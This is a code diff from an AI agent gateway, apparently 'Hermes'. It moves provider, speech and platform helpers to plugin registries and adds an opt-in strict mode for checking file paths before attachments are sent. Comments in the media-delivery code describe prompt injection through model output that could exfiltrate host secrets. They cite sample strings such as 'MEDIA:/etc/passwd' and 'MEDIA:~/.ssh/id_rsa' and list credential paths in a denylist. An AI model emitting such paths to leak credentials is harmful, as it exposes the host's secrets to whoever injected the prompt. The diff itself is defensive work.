longer looked up via the registry. Only SDK-dependent orchestration
(maybe_wrap_anthropic, is_anthropic_compat_endpoint, client building,
auth) still needs mock stubs here.
"""
mock_client = MagicMock(name="anthropic_client")
mock_client.base_url = "https://api.anthropic.com/v1"
mock_client.api_key = "sk-ant-mock"
def _resolve_token():
"""Return token from env vars if set — mimics the real resolve_anthropic_token."""
import os
return (os.environ.get("ANTHROPIC_TOKEN")
or os.environ.get("ANTHROPIC_API_KEY"))
return {
# SDK-dependent client building
"build_anthropic_client": MagicMock(return_value=mock_client),
"build_anthropic_bedrock_client": MagicMock(return_value=mock_client),
"resolve_anthropic_token": _resolve_token,
"_is_oauth_token": lambda k: bool(k) and not (k or "").startswith("sk-ant-api"),
"is_claude_code_token_valid": MagicMock(return_value=False),
"read_claude_code_credentials": MagicMock(return_value=None),
"write_claude_code_credentials": MagicMock(),
"refresh_oauth_token": MagicMock(return_value=None),
"run_hermes_oauth_login_pure": MagicMock(return_value=("mock-token", None)),
"_HERMES_OAUTH_FILE": MagicMock(),
# Resolve / endpoint detection (still plugin-provided, still needs mocking)
"maybe_wrap_anthropic": _mock_maybe_wrap_anthropic,
"endpoint_speaks_anthropic_messages": _mock_endpoint_speaks_anthropic_messages,
"is_anthropic_compat_endpoint": _mock_is_anthropic_compat_endpoint,
"convert_openai_images_to_anthropic": _mock_convert_openai_images_to_anthropic,
"ANTHROPIC_DEFAULT_BASE_URL": "https://api.anthropic.com",
"_ANTHROPIC_COMPAT_PROVIDERS": frozenset(),
"resolve_auxiliary_client": MagicMock(return_value=(mock_client, "claude-3-5-sonnet-20241022")),
}
@contextmanager
def mock_anthropic_provider(**overrides):
"""Patch the anthropic registry namespace. Use in core tests instead of
patching hermes_agent_anthropic.* directly.
Usage:
with mock_anthropic_provider(build_anthropic_client=my_mock):
result = resolve_provider_client(...)
"""
from agent.plugin_registries import registries
base = _make_base_anthropic_namespace()
base.update(overrides)
with patch.dict(registries._provider_services, {"anthropic": base}):
yield base
@pytest.fixture(autouse=True)
def _seed_anthropic_registry(request):
"""Install mock anthropic namespace before each test, restore after.
Skips for plugin tests they have their own conftest that registers the
real plugin, and we must NOT block them with _guarded_register.
Uses patch.dict so it's guaranteed to restore even when plugin tests
in other directories (which use the real plugin) run before us in the
same process. Function-scoped (not session) so it re-seeds after each
plugin test that overwrites the registry.
Also clears _provider_resolvers["anthropic"] so a real plugin registration
that leaked from another test file doesn't affect core unit tests.
Also blocks _ensure_plugins_discovered() so that code paths that lazily
trigger plugin loading (e.g. get_plugin_auxiliary_tasks via
_resolve_task_provider_model) don't overwrite the mock namespace.
"""
# Skip for plugin tests — they manage the registry themselves
node_path = str(request.fspath)
if "/plugins/" in node_path:
yield
return
from unittest.mock import patch
from agent.plugin_registries import registries
ns = _make_base_anthropic_namespace()
# Guard registries.register_provider_services so that if discover_and_load()
# fires during a test (e.g. via get_plugin_auxiliary_tasks in
# _resolve_task_provider_model), it can't overwrite our mock anthropic
# namespace. We only block "anthropic" — other providers / hooks proceed
# normally so tests like test_context_engine.py still work.
_orig_register = registries.register_provider_services
def _guarded_register(name, services):
if name == "anthropic":
return # mock namespace wins — don't let the real plugin clobber it
return _orig_register(name, services)
_orig_resolver = registries._provider_resolvers.pop("anthropic", None)
with patch.dict(registries._provider_services, {"anthropic": ns}), \
patch.object(registries, "register_provider_services", _guarded_register):
yield
# Restore resolver (None means "not registered", which is correct for
# core unit tests; plugin tests that need the real resolver load it themselves)
if _orig_resolver is not None:
registries._provider_resolvers["anthropic"] = _orig_resolver
else:
registries._provider_resolvers.pop("anthropic", None)
+57 -9
View File
@@ -829,6 +829,13 @@ _HERMES_HOME = get_hermes_home()
MEDIA_DELIVERY_ALLOW_DIRS_ENV = "HERMES_MEDIA_ALLOW_DIRS"
MEDIA_DELIVERY_TRUST_RECENT_ENV = "HERMES_MEDIA_TRUST_RECENT_FILES"
MEDIA_DELIVERY_TRUST_RECENT_SECONDS_ENV = "HERMES_MEDIA_TRUST_RECENT_SECONDS"
# Strict mode toggles the original allowlist+recency path-validation behavior.
# Off by default — symmetric with inbound (we accept any document type the
# user uploads), and with the denylist still blocking obvious credential /
# system paths. Operators running public-facing gateways where prompt
# injection from one user could exfiltrate the host's secrets to that same
# user should set this to true.
MEDIA_DELIVERY_STRICT_ENV = "HERMES_MEDIA_DELIVERY_STRICT"
MEDIA_DELIVERY_SAFE_ROOTS = (
IMAGE_CACHE_DIR,
AUDIO_CACHE_DIR,
@@ -918,6 +925,21 @@ def _media_delivery_recency_seconds() -> float:
return float(_MEDIA_DELIVERY_TRUST_RECENT_DEFAULT_SECONDS)
def _media_delivery_strict_mode() -> bool:
"""Return True when path validation should require allowlist/recency match.
Off by default. In non-strict mode, ``validate_media_delivery_path``
accepts any existing regular file that isn't under the credential /
system-path denylist restoring the pre-#29523 behavior for the
single-user case. Strict mode preserves the original
allowlist+recency-window logic for operators running public-facing
gateways where prompt injection from one user shouldn't be able to
exfiltrate the host's secrets to that same user.
"""
raw = os.environ.get(MEDIA_DELIVERY_STRICT_ENV, "0").strip().lower()
return raw in ("1", "true", "yes", "on")
def _media_delivery_denied_paths() -> List[Path]:
"""Return absolute denylist paths under which delivery is never allowed."""
denied = [Path(p) for p in _MEDIA_DELIVERY_DENIED_PREFIXES]
@@ -972,10 +994,22 @@ def _path_is_within(path: Path, root: Path) -> bool:
def validate_media_delivery_path(path: str) -> Optional[str]:
"""Return a safe absolute file path for native media delivery, else None.
MEDIA tags and bare local paths in model output are untrusted text. Only
existing regular files under Hermes-managed media caches, or roots the
operator explicitly allowlists, may be uploaded as native attachments.
Symlinks are resolved before the containment check.
Default mode (single-user / private gateway): accept any existing regular
file that isn't under the credential / system-path denylist
(``_MEDIA_DELIVERY_DENIED_PREFIXES`` + ``~/.ssh``, ``~/.aws``, etc.).
This matches the symmetry of inbound delivery Telegram/Discord/Slack
will hand the agent any file the user uploads, and the agent can hand
back any file that isn't a credential.
Strict mode (opt-in via ``gateway.strict`` in ``config.yaml`` or
``HERMES_MEDIA_DELIVERY_STRICT=1``): the file MUST live under a
Hermes-managed cache, under an operator-allowlisted root
(``HERMES_MEDIA_ALLOW_DIRS``), or be freshly produced inside the
configured recency window. Suitable for public-facing bots where
prompt injection from one user shouldn't be able to exfiltrate the
host's secrets to that same user.
Symlinks are resolved before any containment / denylist check.
"""
if not path:
return None
@@ -999,6 +1033,8 @@ def validate_media_delivery_path(path: str) -> Optional[str]:
if not resolved.is_file():
return None
# Cache / operator allowlist is always honored — these are unconditionally
# trusted regardless of mode.
for root in _media_delivery_allowed_roots():
try:
resolved_root = root.expanduser().resolve(strict=False)
@@ -1007,9 +1043,18 @@ def validate_media_delivery_path(path: str) -> Optional[str]:
if _path_is_within(resolved, resolved_root):
return str(resolved)
# Outside the cache/operator allowlist: fall back to recency-based trust
# for files the agent has just produced (e.g. ``pandoc -o /tmp/report.pdf``
# or ``write_file("/home/user/report.pdf", ...)``). System paths and
# Non-strict mode (default): accept anything not on the denylist.
# The denylist still blocks /etc, /proc, ~/.ssh, ~/.aws, ~/.hermes/.env,
# ~/.hermes/auth.json, etc. — so the obvious prompt-injection sites
# (``MEDIA:/etc/passwd``, ``MEDIA:~/.ssh/id_rsa``) remain rejected.
if not _media_delivery_strict_mode():
if _path_under_denied_prefix(resolved):
return None
return str(resolved)
# Strict mode: fall back to recency-based trust for freshly-produced
# files (e.g. ``pandoc -o /tmp/report.pdf`` or
# ``write_file("/home/user/report.pdf", ...)``). System paths and
# credential locations remain blocked even when "recent" — see
# ``_MEDIA_DELIVERY_DENIED_PREFIXES`` for the denylist.
window = _media_delivery_recency_seconds()
@@ -3609,8 +3654,11 @@ class BasePlatformAdapter(ABC):
and text_content
and not media_files):
try:
from tools.tts_tool import text_to_speech_tool, check_tts_requirements
if check_tts_requirements():
from agent.plugin_registries import registries
_tts = registries.get_tool_provider("tts")
text_to_speech_tool = _tts.tool_functions.get("text_to_speech_tool") if _tts else None
check_tts_requirements = _tts.check_fn if _tts else None
if check_tts_requirements and text_to_speech_tool and check_tts_requirements():
import json as _json
speech_text = self.prepare_tts_text(text_content)
if not speech_text:
+71 -64
View File
@@ -932,9 +932,14 @@ if _config_path.exists():
_redact = _security_cfg.get("redact_secrets")
if _redact is not None:
os.environ["HERMES_REDACT_SECRETS"] = str(_redact).lower()
# Gateway settings (media delivery allowlist + recency trust)
# Gateway settings (media delivery allowlist + recency trust + strict mode)
_gateway_cfg = _cfg.get("gateway", {})
if isinstance(_gateway_cfg, dict):
_strict = _gateway_cfg.get("strict")
if _strict is not None:
os.environ["HERMES_MEDIA_DELIVERY_STRICT"] = (
"1" if _strict else "0"
)
_allow_dirs = _gateway_cfg.get("media_delivery_allow_dirs")
if _allow_dirs:
if isinstance(_allow_dirs, str):
@@ -6258,6 +6263,29 @@ class GatewayRunner:
# plugin adapters don't need a custom factory signature.
if hasattr(adapter, "gateway_runner"):
adapter.gateway_runner = self
# ── Telegram: notification mode from config ──
# Applied here (not in the adapter factory) because it
# reads gateway-local config that only the gateway runner
# has access to.
if platform.value == "telegram":
_notify_mode = os.getenv("HERMES_TELEGRAM_NOTIFICATIONS", "")
if not _notify_mode:
try:
_gw_cfg = _load_gateway_config()
_raw = cfg_get(_gw_cfg, "display", "platforms", "telegram", "notifications")
if _raw not in {None, ""}:
_notify_mode = str(_raw).strip().lower()
except Exception:
pass
_notify_mode = _notify_mode or "important"
if _notify_mode not in {"all", "important"}:
logger.warning(
"Unknown telegram notifications mode '%s', "
"defaulting to 'important' (valid: all, important)",
_notify_mode,
)
_notify_mode = "important"
adapter._notifications_mode = _notify_mode
return adapter
# Registered but failed to instantiate — don't silently fall
# through to built-ins (there are none for plugin platforms).
@@ -6271,49 +6299,13 @@ class GatewayRunner:
logger.debug("Platform registry lookup for '%s' failed: %s", platform.value, e)
# Fall through to built-in adapters below
if platform == Platform.TELEGRAM:
from gateway.platforms.telegram import TelegramAdapter, check_telegram_requirements
if not check_telegram_requirements():
logger.warning("Telegram: python-telegram-bot not installed")
return None
adapter = TelegramAdapter(config)
# Apply Telegram notification mode from config. Controls whether
# intermediate messages (tool progress, streaming, status) trigger
# push notifications. Supports ENV override for quick testing.
_notify_mode = os.getenv("HERMES_TELEGRAM_NOTIFICATIONS", "")
if not _notify_mode:
try:
_gw_cfg = _load_gateway_config()
_raw = cfg_get(_gw_cfg, "display", "platforms", "telegram", "notifications")
if _raw not in {None, ""}:
_notify_mode = str(_raw).strip().lower()
except Exception:
pass
_notify_mode = _notify_mode or "important"
if _notify_mode not in {"all", "important"}:
logger.warning(
"Unknown telegram notifications mode '%s', "
"defaulting to 'important' (valid: all, important)",
_notify_mode,
)
_notify_mode = "important"
adapter._notifications_mode = _notify_mode
return adapter
elif platform == Platform.WHATSAPP:
if platform == Platform.WHATSAPP:
from gateway.platforms.whatsapp import WhatsAppAdapter, check_whatsapp_requirements
if not check_whatsapp_requirements():
logger.warning("WhatsApp: Node.js not installed or bridge not configured")
return None
return WhatsAppAdapter(config)
elif platform == Platform.SLACK:
from gateway.platforms.slack import SlackAdapter, check_slack_requirements
if not check_slack_requirements():
logger.warning("Slack: slack-bolt not installed. Run: pip install 'hermes-agent[slack]'")
return None
return SlackAdapter(config)
elif platform == Platform.SIGNAL:
from gateway.platforms.signal import SignalAdapter, check_signal_requirements
if not check_signal_requirements():
@@ -6342,20 +6334,6 @@ class GatewayRunner:
return None
return SmsAdapter(config)
elif platform == Platform.DINGTALK:
from gateway.platforms.dingtalk import DingTalkAdapter, check_dingtalk_requirements
if not check_dingtalk_requirements():
logger.warning("DingTalk: dingtalk-stream not installed or DINGTALK_CLIENT_ID/SECRET not set")
return None
return DingTalkAdapter(config)
elif platform == Platform.FEISHU:
from gateway.platforms.feishu import FeishuAdapter, check_feishu_requirements
if not check_feishu_requirements():
logger.warning("Feishu: lark-oapi not installed or FEISHU_APP_ID/SECRET not set")
return None
return FeishuAdapter(config)
elif platform == Platform.WECOM_CALLBACK:
from gateway.platforms.wecom_callback import (
WecomCallbackAdapter,
@@ -6380,13 +6358,6 @@ class GatewayRunner:
return None
return WeixinAdapter(config)
elif platform == Platform.MATRIX:
from gateway.platforms.matrix import MatrixAdapter, check_matrix_requirements
if not check_matrix_requirements():
logger.warning("Matrix: mautrix not installed or credentials not set. Run: pip install 'mautrix[encryption]'")
return None
return MatrixAdapter(config)
elif platform == Platform.API_SERVER:
from gateway.platforms.api_server import APIServerAdapter, check_api_server_requirements
if not check_api_server_requirements():
@@ -10241,8 +10212,16 @@ class GatewayRunner:
raw_args = event.get_command_args().strip()
# Parse --provider and --global flags
model_input, explicit_provider, persist_global = parse_model_flags(raw_args)
# Parse --provider, --global, and --refresh flags
model_input, explicit_provider, persist_global, force_refresh = parse_model_flags(raw_args)
# --refresh: bust the disk cache so the picker shows live data.
if force_refresh:
try:
from hermes_cli.models import clear_provider_models_cache
clear_provider_models_cache()
except Exception:
pass
# Read current model/provider from config
current_model = ""
@@ -11449,7 +11428,12 @@ class GatewayRunner:
audio_path = None
actual_path = None
try:
from tools.tts_tool import text_to_speech_tool, _strip_markdown_for_tts
from agent.plugin_registries import registries
_tts_entry = registries.get_tool_provider("tts")
if _tts_entry is None:
return
text_to_speech_tool = _tts_entry.tool_functions["text_to_speech_tool"]
_strip_markdown_for_tts = _tts_entry.tool_functions["_strip_markdown_for_tts"]
tts_text = _strip_markdown_for_tts(text[:4000])
if not tts_text:
@@ -14737,9 +14721,32 @@ class GatewayRunner:
return f"{prefix}\n\n{user_text}"
return prefix
from tools.transcription_tools import transcribe_audio
from agent.plugin_registries import registries
_stt_entry = registries.get_tool_provider("stt")
enriched_parts = []
if _stt_entry is None or "transcribe_audio" not in _stt_entry.tool_functions:
# No STT plugin registered — treat each audio path the same way
# as a "No STT provider" transcription failure.
for path in audio_paths:
abs_path = os.path.abspath(path)
duration_str = await _probe_audio_duration(abs_path)
if duration_str:
enriched_parts.append(
f"[The user sent a voice message: {abs_path} (duration: {duration_str})]"
)
else:
enriched_parts.append(f"[The user sent a voice message: {abs_path}]")
if not enriched_parts:
return user_text
prefix = "\n\n".join(enriched_parts)
_placeholder = "(The user sent a message with no text content)"
if user_text and user_text.strip() == _placeholder:
return prefix
if user_text:
return f"{prefix}\n\n{user_text}"
return prefix
transcribe_audio = _stt_entry.tool_functions["transcribe_audio"]
for path in audio_paths:
try:
logger.debug("Transcribing user voice: %s", path)
+18 -9
View File
@@ -1597,8 +1597,10 @@ def resolve_provider(
# AWS Bedrock — detect via boto3 credential chain (IAM roles, SSO, env vars).
# This runs after API-key providers so explicit keys always win.
try:
from agent.bedrock_adapter import has_aws_credentials
if has_aws_credentials():
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock_ns.get("has_aws_credentials")
if has_aws_credentials and has_aws_credentials():
return "bedrock"
except ImportError:
pass # boto3 not installed — skip Bedrock auto-detection
@@ -6044,8 +6046,13 @@ def get_auth_status(provider_id: Optional[str] = None) -> Dict[str, Any]:
# AWS SDK providers (Bedrock) — check via boto3 credential chain
if pconfig and pconfig.auth_type == "aws_sdk":
try:
from agent.bedrock_adapter import has_aws_credentials
return {"logged_in": has_aws_credentials(), "provider": target}
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock_ns.get("has_aws_credentials")
if has_aws_credentials:
return {"logged_in": has_aws_credentials(), "provider": target}
else:
return {"logged_in": False, "provider": target, "error": "boto3 not installed"}
except ImportError:
return {"logged_in": False, "provider": target, "error": "boto3 not installed"}
return {"logged_in": False}
@@ -6084,11 +6091,13 @@ def _get_azure_foundry_auth_status() -> Dict[str, Any]:
if auth_mode == "entra_id":
try:
from agent.azure_identity_adapter import (
EntraIdentityConfig,
SCOPE_AI_AZURE_DEFAULT,
has_azure_identity_installed,
)
from agent.plugin_registries import registries
_azure_ns = registries.get_provider_namespace("azure")
EntraIdentityConfig = _azure_ns.get("EntraIdentityConfig")
SCOPE_AI_AZURE_DEFAULT = _azure_ns.get("SCOPE_AI_AZURE_DEFAULT")
has_azure_identity_installed = _azure_ns.get("has_azure_identity_installed")
if not all([EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, has_azure_identity_installed]):
raise ImportError("azure provider services not fully registered")
installed = has_azure_identity_installed()
entra_cfg = {}
if isinstance(model_cfg, dict) and isinstance(model_cfg.get("entra"), dict):
+18 -11
View File
@@ -221,9 +221,12 @@ def auth_add_command(args) -> None:
return
if provider == "anthropic":
from agent import anthropic_adapter as anthropic_mod
creds = anthropic_mod.run_hermes_oauth_login_pure()
from agent.plugin_registries import registries
_anthropic_ns = registries.get_provider_namespace("anthropic")
run_hermes_oauth_login_pure = _anthropic_ns.get("run_hermes_oauth_login_pure")
if not run_hermes_oauth_login_pure:
raise SystemExit("Anthropic plugin not loaded — cannot run OAuth login.")
creds = run_hermes_oauth_login_pure()
if not creds:
raise SystemExit("Anthropic OAuth login did not return credentials.")
label = (getattr(args, "label", None) or "").strip() or label_from_token(
@@ -549,8 +552,12 @@ def _interactive_auth() -> None:
# Show AWS Bedrock credential status (not in the pool — uses boto3 chain)
try:
from agent.bedrock_adapter import has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region
if has_aws_credentials():
from agent.plugin_registries import registries
_bedrock = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock.get("has_aws_credentials")
resolve_aws_auth_env_var = _bedrock.get("resolve_aws_auth_env_var")
resolve_bedrock_region = _bedrock.get("resolve_bedrock_region")
if has_aws_credentials and has_aws_credentials():
auth_source = resolve_aws_auth_env_var() or "unknown"
region = resolve_bedrock_region()
print(f"bedrock (AWS SDK credential chain):")
@@ -577,12 +584,12 @@ def _interactive_auth() -> None:
_cfg_provider = str(_model_cfg.get("provider") or "").strip().lower()
_cfg_auth_mode = str(_model_cfg.get("auth_mode") or "").strip().lower()
if _cfg_provider == "azure-foundry" and _cfg_auth_mode == "entra_id":
from agent.azure_identity_adapter import (
EntraIdentityConfig,
SCOPE_AI_AZURE_DEFAULT,
describe_active_credential,
has_azure_identity_installed,
)
from agent.plugin_registries import registries
_azure = registries.get_provider_namespace("azure")
EntraIdentityConfig = _azure.get("EntraIdentityConfig")
SCOPE_AI_AZURE_DEFAULT = _azure.get("SCOPE_AI_AZURE_DEFAULT")
describe_active_credential = _azure.get("describe_active_credential")
has_azure_identity_installed = _azure.get("has_azure_identity_installed")
_base_url = str(_model_cfg.get("base_url") or "").strip()
_entra = _model_cfg.get("entra") or {}
if not isinstance(_entra, dict):
+1 -1
View File
@@ -123,7 +123,7 @@ COMMAND_REGISTRY: list[CommandDef] = [
CommandDef("config", "Show current configuration", "Configuration",
cli_only=True),
CommandDef("model", "Switch model for this session", "Configuration",
aliases=("provider",), args_hint="[model] [--provider name] [--global]"),
aliases=("provider",), args_hint="[model] [--provider name] [--global] [--refresh]"),
CommandDef("codex-runtime", "Toggle codex app-server runtime for OpenAI/Codex models",
"Configuration", aliases=("codex_runtime",),
args_hint="[auto|codex_app_server]"),
+19 -2
View File
@@ -1806,6 +1806,21 @@ DEFAULT_CONFIG = {
# Gateway settings — control how messaging platforms (Telegram, Discord,
# Slack, etc.) deliver agent-produced files as native attachments.
"gateway": {
# When false (default), any file path the agent emits is delivered
# as a native attachment as long as it isn't under the credential /
# system-path denylist (/etc, /proc, ~/.ssh, ~/.aws, ~/.hermes/.env,
# auth.json, etc.). This matches the symmetry of inbound delivery
# — we accept any document type the user uploads, and the agent
# can hand back any file that isn't a credential.
#
# When true, fall back to the older allowlist+recency-window
# behavior: files must live under the Hermes cache, under
# ``media_delivery_allow_dirs``, or be freshly produced inside the
# ``trust_recent_files_seconds`` window. Recommended for
# public-facing gateways where prompt injection from one user
# shouldn't be able to exfiltrate the host's secrets to that same
# user. Bridged to HERMES_MEDIA_DELIVERY_STRICT.
"strict": False,
# Extra directories from which model-emitted bare file paths may be
# uploaded as native gateway attachments. Files inside the Hermes
# cache (~/.hermes/cache/{documents,images,audio,video,screenshots})
@@ -1813,7 +1828,7 @@ DEFAULT_CONFIG = {
# (project dirs, scratch dirs, mounted shares). Accepts a list of
# absolute paths or a single os.pathsep-separated string. Bridged
# to HERMES_MEDIA_ALLOW_DIRS at gateway startup. Tilde paths are
# expanded.
# expanded. Honored in both default and strict mode.
"media_delivery_allow_dirs": [],
# When true, files whose mtime is within ``trust_recent_files_seconds``
# of "now" are trusted for native delivery even outside the cache /
@@ -1821,10 +1836,12 @@ DEFAULT_CONFIG = {
# PDFs the agent writes into a working directory. System paths
# (/etc, /proc, ~/.ssh, ~/.aws, etc.) remain blocked regardless.
# Disable to fall back to pure-allowlist mode. Bridged to
# HERMES_MEDIA_TRUST_RECENT_FILES.
# HERMES_MEDIA_TRUST_RECENT_FILES. Only consulted when ``strict``
# is true; in default mode the denylist alone gates delivery.
"trust_recent_files": True,
# Recency window in seconds. 600 (10 min) comfortably covers a
# multi-tool agent turn. Bridged to HERMES_MEDIA_TRUST_RECENT_SECONDS.
# Only consulted when ``strict`` is true.
"trust_recent_files_seconds": 600,
},
+24 -38
View File
@@ -28,7 +28,6 @@ from hermes_cli.models import _HERMES_USER_AGENT
from hermes_constants import OPENROUTER_MODELS_URL
from utils import base_url_host_matches
_PROVIDER_ENV_HINTS = (
"OPENROUTER_API_KEY",
"OPENAI_API_KEY",
@@ -54,14 +53,11 @@ _PROVIDER_ENV_HINTS = (
"TOKENHUB_API_KEY",
)
from hermes_constants import is_termux as _is_termux
def _python_install_cmd() -> str:
return "python -m pip install" if _is_termux() else "uv pip install"
def _system_package_install_cmd(pkg: str) -> str:
if _is_termux():
return f"pkg install {pkg}"
@@ -69,7 +65,6 @@ def _system_package_install_cmd(pkg: str) -> str:
return f"brew install {pkg}"
return f"sudo apt install {pkg}"
def _safe_which(cmd: str) -> str | None:
"""shutil.which wrapper resilient to platform monkeypatching in tests."""
try:
@@ -77,7 +72,6 @@ def _safe_which(cmd: str) -> str | None:
except Exception:
return None
def _termux_browser_setup_steps(node_installed: bool) -> list[str]:
steps: list[str] = []
step = 1
@@ -88,7 +82,6 @@ def _termux_browser_setup_steps(node_installed: bool) -> list[str]:
steps.append(f"{step + 1}) agent-browser install")
return steps
def _termux_install_all_fallback_notes() -> list[str]:
return [
"Termux install profile: use .[termux-all] for broad compatibility (installer default on Termux).",
@@ -97,12 +90,10 @@ def _termux_install_all_fallback_notes() -> list[str]:
"STT fallback: use Groq Whisper (set GROQ_API_KEY) or OpenAI Whisper (set VOICE_TOOLS_OPENAI_KEY).",
]
def _has_provider_env_config(content: str) -> bool:
"""Return True when ~/.hermes/.env contains provider auth/base URL settings."""
return any(key in content for key in _PROVIDER_ENV_HINTS)
def _honcho_is_configured_for_doctor() -> bool:
"""Return True when Honcho is configured, even if this process has no active session."""
try:
@@ -113,7 +104,6 @@ def _honcho_is_configured_for_doctor() -> bool:
except Exception:
return False
def _is_kanban_worker_env_gate(item: dict) -> bool:
"""Return True when Kanban is unavailable only because this is not a worker process."""
if item.get("name") != "kanban":
@@ -124,14 +114,12 @@ def _is_kanban_worker_env_gate(item: dict) -> bool:
tools = item.get("tools") or []
return bool(tools) and all(str(tool).startswith("kanban_") for tool in tools)
def _doctor_tool_availability_detail(toolset: str) -> str:
"""Optional explanatory suffix for toolsets whose doctor status needs context."""
if toolset == "kanban" and not os.environ.get("HERMES_KANBAN_TASK"):
return "(runtime-gated; loaded only for dispatcher-spawned workers)"
return ""
def _apply_doctor_tool_availability_overrides(available: list[str], unavailable: list[dict]) -> tuple[list[str], list[dict]]:
"""Adjust runtime-gated tool availability for doctor diagnostics."""
updated_available = list(available)
@@ -149,7 +137,6 @@ def _apply_doctor_tool_availability_overrides(available: list[str], unavailable:
updated_unavailable.append(item)
return updated_available, updated_unavailable
def _has_healthy_oauth_fallback_for_apikey_provider(provider_label: str) -> bool:
"""Return True when a direct API-key probe failure is non-blocking.
@@ -179,7 +166,6 @@ def _has_healthy_oauth_fallback_for_apikey_provider(provider_label: str) -> bool
return False
return False
def check_ok(text: str, detail: str = ""):
print(f" {color('', Colors.GREEN)} {text}" + (f" {color(detail, Colors.DIM)}" if detail else ""))
@@ -192,19 +178,16 @@ def check_fail(text: str, detail: str = ""):
def check_info(text: str):
print(f" {color('', Colors.CYAN)} {text}")
def _section(title: str) -> None:
"""Print a doctor section banner: blank line + bold cyan ◆ title."""
print()
print(color(f"{title}", Colors.CYAN, Colors.BOLD))
def _fail_and_issue(text: str, detail: str, fix: str, issues: list[str]) -> None:
"""Emit a check_fail and append the corresponding fix instruction."""
check_fail(text, detail)
issues.append(fix)
def _check_s6_supervision(issues: list[str]) -> None:
"""Inside a container under our s6 /init, surface what s6 sees.
@@ -252,7 +235,6 @@ def _check_s6_supervision(issues: list[str]) -> None:
+ (f" ({', '.join(sorted(profiles))})" if len(profiles) <= 8 else "")
)
def _check_gateway_service_linger(issues: list[str]) -> None:
"""Warn when a systemd user gateway service will stop after logout.
@@ -296,10 +278,8 @@ def _check_gateway_service_linger(issues: list[str]) -> None:
else:
check_warn("Could not verify systemd linger", f"({linger_detail})")
_APIKEY_PROVIDERS_CACHE: list | None = None
def _build_apikey_providers_list() -> list:
"""Build the API-key provider health-check list once and cache it.
@@ -391,7 +371,6 @@ def _build_apikey_providers_list() -> list:
pass
return _static
def run_doctor(args):
"""Run diagnostic checks."""
should_fix = getattr(args, 'fix', False)
@@ -1475,12 +1454,15 @@ def run_doctor(args):
return _ConnectivityResult("Anthropic API", [], [])
try:
import httpx
from agent.anthropic_adapter import (
_is_oauth_token,
_COMMON_BETAS,
_OAUTH_ONLY_BETAS,
_CONTEXT_1M_BETA,
)
from agent.plugin_registries import registries
_anthropic_ns = registries.get_provider_namespace("anthropic")
_is_oauth_token = _anthropic_ns.get("_is_oauth_token")
# _COMMON_BETAS and _CONTEXT_1M_BETA are now in core
from agent.anthropic_format import _COMMON_BETAS, _CONTEXT_1M_BETA
_OAUTH_ONLY_BETAS = _anthropic_ns.get("_OAUTH_ONLY_BETAS")
if not all([_is_oauth_token, _OAUTH_ONLY_BETAS]):
raise ImportError("anthropic provider services not fully registered")
headers = {"anthropic-version": "2023-06-01"}
is_oauth = _is_oauth_token(key)
if is_oauth:
@@ -1624,11 +1606,13 @@ def run_doctor(args):
def _probe_bedrock() -> _ConnectivityResult:
try:
from agent.bedrock_adapter import (
has_aws_credentials,
resolve_aws_auth_env_var,
resolve_bedrock_region,
)
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock_ns.get("has_aws_credentials")
resolve_aws_auth_env_var = _bedrock_ns.get("resolve_aws_auth_env_var")
resolve_bedrock_region = _bedrock_ns.get("resolve_bedrock_region")
if not all([has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region]):
raise ImportError("bedrock provider services not fully registered")
except ImportError:
return _ConnectivityResult("AWS Bedrock", [], [])
if not has_aws_credentials():
@@ -1699,12 +1683,14 @@ def run_doctor(args):
return _ConnectivityResult("Azure Foundry (Entra ID)", [], [])
try:
from agent.azure_identity_adapter import (
EntraIdentityConfig,
SCOPE_AI_AZURE_DEFAULT,
describe_active_credential,
has_azure_identity_installed,
)
from agent.plugin_registries import registries
_azure_ns = registries.get_provider_namespace("azure")
EntraIdentityConfig = _azure_ns.get("EntraIdentityConfig")
SCOPE_AI_AZURE_DEFAULT = _azure_ns.get("SCOPE_AI_AZURE_DEFAULT")
describe_active_credential = _azure_ns.get("describe_active_credential")
has_azure_identity_installed = _azure_ns.get("has_azure_identity_installed")
if not all([EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, describe_active_credential, has_azure_identity_installed]):
raise ImportError("azure provider services not fully registered")
except Exception as exc:
return _ConnectivityResult(
"Azure Foundry (Entra ID)",
+10 -3
View File
@@ -4370,7 +4370,9 @@ def _setup_feishu():
if method_idx == 0:
# ── QR scan-to-create ──
try:
from gateway.platforms.feishu import qr_register
from agent.plugin_registries import registries
_feishu_entry = registries.get_platform("feishu")
qr_register = _feishu_entry.helper_functions.get("qr_register") if _feishu_entry else None
except Exception as exc:
print_error(f" Feishu / Lark onboard import failed: {exc}")
qr_register = None
@@ -4411,8 +4413,13 @@ def _setup_feishu():
# Try to probe the bot with manual credentials
bot_name = None
try:
from gateway.platforms.feishu import probe_bot
bot_info = probe_bot(app_id, app_secret, domain)
from agent.plugin_registries import registries
_feishu_entry = registries.get_platform("feishu")
probe_bot = _feishu_entry.helper_functions.get("probe_bot") if _feishu_entry else None
if probe_bot:
bot_info = probe_bot(app_id, app_secret, domain)
else:
bot_info = None
if bot_info:
bot_name = bot_info.get("bot_name")
print_success(f" Credentials verified — bot: {bot_name or 'unnamed'}")
+54 -90
View File
@@ -622,10 +622,12 @@ def _has_any_provider_configured() -> bool:
# being installed doesn't mean the user wants Hermes to use their tokens.
if _has_hermes_config:
try:
from agent.anthropic_adapter import (
read_claude_code_credentials,
is_claude_code_token_valid,
)
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
read_claude_code_credentials = _anthropic.get("read_claude_code_credentials")
is_claude_code_token_valid = _anthropic.get("is_claude_code_token_valid")
if read_claude_code_credentials is None or is_claude_code_token_valid is None:
raise ImportError("anthropic plugin not registered")
creds = read_claude_code_credentials()
if creds and (
@@ -2117,6 +2119,13 @@ def cmd_postinstall(args):
def cmd_model(args):
"""Select default model — starts with provider selection, then model picker."""
_require_tty("model")
if getattr(args, "refresh", False):
try:
from hermes_cli.models import clear_provider_models_cache
clear_provider_models_cache()
print(" Cleared model picker cache.")
except Exception:
pass
select_provider_and_model(args=args)
@@ -4097,13 +4106,15 @@ def _model_flow_azure_foundry(config, current_model=""):
